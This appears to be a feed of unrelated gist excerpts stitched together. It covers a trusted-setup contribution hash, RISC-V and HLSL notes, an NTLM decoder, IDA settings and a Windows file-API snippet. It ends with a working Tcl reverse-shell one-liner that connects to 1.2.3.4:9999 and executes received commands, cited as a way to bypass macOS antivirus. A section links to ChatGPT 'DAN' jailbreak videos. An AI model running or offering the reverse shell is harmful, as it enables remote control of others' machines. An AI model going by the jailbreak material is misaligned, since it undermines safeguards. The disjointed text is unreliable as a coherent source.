gmh5225

Hey, I'm dcbuild3r-19372745 and I have finalized the world-id-protocol MPC Phase2 Trusted Setup ceremony.
The following are my contribution signatures:

Circuit # 1 (oprfkeygenproof13)
Contributor # final
Contribution Hash: 4d431429 12461b17 2e14232b 6b1c878b
		48248de8 b8f1340c 18e93c6d cf2c4b10
		f447a3d7 8be20b16 772080d6 2cefb8e1
		248bfc91 816d34da 07bacde2 5c384fd2

gmh5225

Visualizing the RISC-V Instruction Set

Earlier today, I came across the blog post "Visualizing the ARM64 Instruction Set" and got inspired to give it a shot my self.

After hacking together a quick script and fiddling with the bit order and colors for way too long, I managed to create a decent visualization of the RISC-V instruction encoding. You can find my code below.

The following graphics cover the 64-bit part of the RISC-V ISA, including all ratified 64-bit extensions, with opcodes extracted from the riscv/riscv-opcodes repo.

I mapped the opcodes to 2D coordinates with a Morton space-filling curve.

gmh5225

This is an OPML version of the HN Popularity Contest results for 2025, for importing into RSS feed readers.

gmh5225

Clawdbot Security Self-Check

Help me check my Clawdbot security posture. We'll go step by step—wait for my reply before continuing to the next step.

---

Step 1: Runtime Environment

What device is Clawdbot running on?

gmh5225

IO_STATUS_BLOCK iosb;
UNICODE_STRING path = RTL_CONSTANT_STRING(L"\\SystemRoot\\System32\\ntdll.dll");
OBJECT_ATTRIBUTES attr = RTL_CONSTANT_OBJECT_ATTRIBUTES(&path, 0);
HANDLE file, section;

// only FILE_EXECUTE
NTSTATUS status = NtCreateFile(&file, FILE_EXECUTE, &attr, &iosb, nullptr, 0, 0, FILE_OPEN, 0, nullptr, 0);
printf("NtCreateFile %lx\n", status);

// request PAGE_EXECUTE when creating - the only permission compatible with FILE_EXECUTE.

gmh5225

#!/usr/bin/env python

## Decodes NTLM "Authenticate" HTTP-Header blobs.
## Reads the raw blob from stdin; prints out the contained metadata.
## Supports (auto-detects) Type 1, Type 2, and Type 3 messages.
## Based on the excellent protocol description from:
##  <http://davenport.sourceforge.net/ntlm.html>
## with additional detail subsequently added from the official protocol spec:
##  <http://msdn.microsoft.com/en-us/library/cc236621.aspx>
##

gmh5225

自分的 IDA のオススメ設定

逆アセンブル画面メインで使う自分の IDA の設定。設定の保存方法は以下のとおり。

• 設定した後に、Windows -> Save desktop... -> Default で保存
  • ウインドウ配置だけでなく、表示に関する多くの設定はこれで保存可能
• $IDADIR/cfg 内の設定値を参照し、それらの設定を変更した内容だけを記載した .cfg ファイルを $IDAUSR/cfg に配置
  • $IDADIR/cfg 内のファイルを直接編集するのは非推奨
  • See https://hex-rays.com/blog/igors-tip-of-the-week-33-idas-user-directory-idausr

gmh5225

In shader programming, you often run into a problem where you want to iterate an array in memory over all pixels in a compute shader
group (tile). Tiled deferred lighting is the most common case. 8x8 tile loops over a light list culled for that tile. 

Simplified HLSL code looks like this:

Buffer<float4> lightDatas;
Texture2D<uint2> lightStartCounts;
RWTexture2D<float4> output;

[numthreads(8, 8, 1)]

gmh5225

Chat GPT "DAN" (and other "Jailbreaks")

• https://chat.openai.com/
• Is ChatGPT "DAN" Real? Gonna find out [Part 1]
  (https://www.youtube.com/watch?v=-q8woRG9FrI)
• Part 2: I thought ChatGPT DAN was a hoax, but...
  (https://www.youtube.com/watch?v=rHZRrDu3A2U&lc=UgxfrxX8aK7gnCzkend4AaABAg)

gmh5225

# https://null-byte.wonderhowto.com/how-to/hacking-macos-use-one-tclsh-command-bypass-antivirus-protections-0186330/
set s [socket 1.2.3.4 9999];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;